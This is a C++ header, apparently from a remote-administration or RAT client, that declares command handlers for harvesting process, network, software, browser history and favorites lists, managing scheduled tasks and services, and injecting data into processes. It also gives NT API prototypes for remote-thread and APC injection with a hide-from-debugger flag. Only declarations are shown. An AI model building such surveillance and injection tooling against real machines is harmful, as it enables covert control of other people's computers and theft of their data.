#pragma once
#include "Manager.h"
#include <Iphlpapi.h>
#include <tlhelp32.h>
#include <map>
#include <WINSOCK2.H>
#include "yapi.hpp"

#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "WS2_32.lib")

#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))

#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED	0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH  0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER	0x00000004

class CMachineManager : public CManager
{
public:
    BOOL m_bUse;
    CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
    virtual ~CMachineManager();
    virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
private:
    static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
    static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
    HWND GetHwndByPid(DWORD dwProcessID);
    bool Is64BitOS();
    bool Is64BitPorcess(DWORD dwProcessID);
    char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
    wchar_t* char2wchar_t(char* cstr);
    BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
    void DeleteService(LPBYTE lpBuffer, UINT nSize);
    void MyControlService(LPBYTE lpBuffer, UINT nType);

    void SendProcessList();
    LPBYTE getProcessList();	//进程

    void SendWindowsList();
    LPBYTE getWindowsList();	//窗口

    void SendNetStateList();
    LPBYTE getNetStateList();

    void SendSoftWareList();
    LPBYTE getSoftWareList();	//软件列表

    void SendIEHistoryList();
    LPBYTE getIEHistoryList(); // 浏览记录

    void SendFavoritesUrlList();
    void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
    LPBYTE getFavoritesUrlList(); //收藏夹

    void SendServicesList(DWORD dwScType = SERVICE_WIN32);
    LPBYTE getServiceList(DWORD dwScType);

    PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset);  //获取目录下的所有任务
    PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
    PBYTE GetRoot();												   //获取根目录下的子文件夹

    BOOL CreateTask(LPBYTE lpBuffer);							       //创建计划任务
    BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action);                  //执行或停止
    BOOL DelTask(LPBYTE lpBuffer);								       //删除计划任务
    BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
    void SaveData(const std::string& taskname, const std::string& path, 
        const std::string& exepath, const std::string& status, 
        DATE LastTime, DATE NextTime, PBYTE &data, int &offset);       //保存数据到缓冲区
    DWORD	 m_dwServiceType;

    void SendHostsList();

    void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);

    void SendError(const char* Terror);
};

struct  Browsinghistory {
    char strTime[100];
    char strTitle[1024];
    char strUrl[1024];
};


typedef struct {
    DWORD   dwState;          // 连接状态
    DWORD   dwLocalAddr;      // 本地地址
    DWORD   dwLocalPort;      // 本地端口
    DWORD   dwRemoteAddr;     // 远程地址
    DWORD   dwRemotePort;     // 远程端口
    DWORD   dwProcessId;      // 进程ID号
} MIB_TCPEXROW, * PMIB_TCPEXROW;

typedef struct {
    DWORD           dwNumEntries;
    MIB_TCPEXROW    table[ANY_SIZE];
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;

typedef struct {
    DWORD   dwLocalAddr;      // 本地地址
    DWORD   dwLocalPort;      // 本地端口
    DWORD   dwProcessId;      // 进程ID号
} MIB_UDPEXROW, * PMIB_UDPEXROW;

typedef struct {
    DWORD           dwNumEntries;
    MIB_UDPEXROW    table[ANY_SIZE];
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;

typedef struct {
    DWORD dwState;      //连接状态
    DWORD dwLocalAddr;  //本地地址
    DWORD dwLocalPort;  //本地端口
    DWORD dwRemoteAddr; //远程地址
    DWORD dwRemotePort; //远程端口
    DWORD dwProcessId;  //进程标识
    DWORD Unknown;      //待定标识
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;

typedef struct {
    DWORD dwNumEntries;
    MIB_TCPEXROW_VISTA table[ANY_SIZE];
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;

typedef DWORD(WINAPI* _InternalGetTcpTable2)(
    PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
    HANDLE heap,
    DWORD flags
);


typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
    PMIB_UDPEXTABLE* pUdpTable,
    HANDLE heap,
    DWORD flags
);
// 扩展函数原型
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
    PMIB_TCPEXTABLE* pTcpTable,
    BOOL bOrder,
    HANDLE heap,
    DWORD zero,
    DWORD flags
);

typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
    PMIB_UDPEXTABLE* pUdpTable,
    BOOL bOrder,
    HANDLE heap,
    DWORD zero,
    DWORD flags
);

typedef _CLIENT_ID* PCLIENT_ID;

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);

typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer);

typedef struct _THREAD_DATA
{
	pRtlInitUnicodeString fnRtlInitUnicodeString;
	pLdrLoadDll fnLdrLoadDll;
	UNICODE_STRING UnicodeString;
	WCHAR DllName[260];
	PWCHAR DllPath;
	ULONG Flags;
	HANDLE ModuleHandle;
}THREAD_DATA, * PTHREAD_DATA;

struct  InjectData {
    DWORD ExeIsx86;
    DWORD mode;		//注入模式
    DWORD dwProcessID;//进程ID
    DWORD datasize;   //本地数据尺寸
    char strpath[1024]; //远程落地目录
};